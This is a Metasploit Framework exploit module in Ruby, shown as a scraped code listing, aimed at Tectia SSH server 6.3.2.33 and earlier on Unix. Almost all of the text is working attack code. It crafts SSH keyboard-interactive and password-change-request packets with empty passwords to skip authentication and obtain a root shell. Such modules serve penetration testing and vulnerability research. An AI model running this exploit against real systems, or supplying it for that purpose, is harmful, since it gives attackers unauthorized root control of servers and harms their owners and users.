|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  def initialize(info={})  super(update_info(info,  'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",  'Description'=> %q{  This module exploits a vulnerability in Tectia SSH server for Unix-based  platforms.The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request  before password authentication, allowing any remote user to bypass the login  routine, and then gain access as root.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'kingcope',#Original 0day  'bperry',  'sinn3r'  ],  'References' =>  [  ['EDB', '23082'],  ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']  ],  'Payload'=>  {  'Compat' =>  {  'PayloadType'=> 'cmd_interact',  'ConnectionType' => 'find'  }  },  'Platform' => 'unix',  'Arch' => ARCH_CMD,  'Targets'=>  [  ['Unix-based Tectia SSH 6.3.2.33 or prior', {}],  ],  'Privileged' => true,  'DisclosureDate' => "Dec 01 2012",  'DefaultTarget'=> 0))  register_options(  [  Opt::RPORT(22),  OptString.new('USERNAME', [true, 'The username to login as', 'root'])  ], self.class  )  register_advanced_options(  [  OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  ]  )  end  def check  connect  banner = sock.get_once  print_status("#{rhost}:#{rport} - #{banner}")  disconnect  return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/  return Exploit::CheckCode::Safe  end  def rhost  datastore['RHOST']  end  def rport  datastore['RPORT']  end  #  # This is where the login begins.We're expected to use the keyboard-interactive method to  # authenticate, but really all we want is skipping it so we can move on to the password  # method authentication.  #  def auth_keyboard_interactive(user, transport)  print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")  auth_req_pkt = Net::SSH::Buffer.from(  :byte, 0x32, #userauth request  :string, user, #username  :string, "ssh-connection", #service  :string, "keyboard-interactive", #method name  :string, "", #lang  :string, ""  )  user_auth_pkt = Net::SSH::Buffer.from(  :byte, 0x3D, #userauth info  :raw, 0x01,#number of prompts  :string, "", #password  :raw, "\0"*32#padding  )  transport.send_message(auth_req_pkt)  message = transport.next_message  vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")  message = transport.next_message  vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")  # USERAUTH INFO  transport.send_message(user_auth_pkt)  message = transport.next_message  vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  2.times do |i|  #USRAUTH REQ  transport.send_message(auth_req_pkt)  message = transport.next_message  vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")  # USERAUTH INFO  transport.send_message(user_auth_pkt)  message = transport.next_message  vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  end  end  #  # The following link is useful to understand how to craft the USERAUTH password change  # request packet:  # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903  #  def userauth_passwd_change(user, transport, connection)  print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")  pkt = Net::SSH::Buffer.from(  :byte, 0x32, #userauth request  :string, user, #username  :string, "ssh-connection", #service  :string, "password"#method name  )  pkt.write_bool(true)  pkt.write_string("") #Old pass  pkt.write_string("") #New pass  transport.send_message(pkt)  message = transport.next_message.type  vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")  if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS  transport.send_message(transport.service_request("ssh-userauth"))  message = transport.next_message.type  if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT  shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)  connection = nil  return shell  end  end  end  def do_login(user)  opts = {:user=>user, :record_auth_info=>true}  options= Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)  transport= Net::SSH::Transport::Session.new(rhost, options)  connection = Net::SSH::Connection::Session.new(transport, options)  auth_keyboard_interactive(user, transport)  userauth_passwd_change(user, transport, connection)  end  def exploit  # Our keyboard-interactive is specific to Tectia.This allows us to run quicker when we're  # engaging a variety of SSHD targets on a network.  if check != Exploit::CheckCode::Appears  print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")  return  end  c = nil  begin  ::Timeout.timeout(datastore['SSH_TIMEOUT']) do  c = do_login(datastore['USERNAME'])  end  rescue Rex::ConnectionError, Rex::AddressInUse  return  rescue Net::SSH::Disconnect, ::EOFError  print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  return  rescue Net::SSH::Exception => e  print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  return  rescue ::Timeout::Error  print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  return  end  handler(c.lsock) if c  end end  |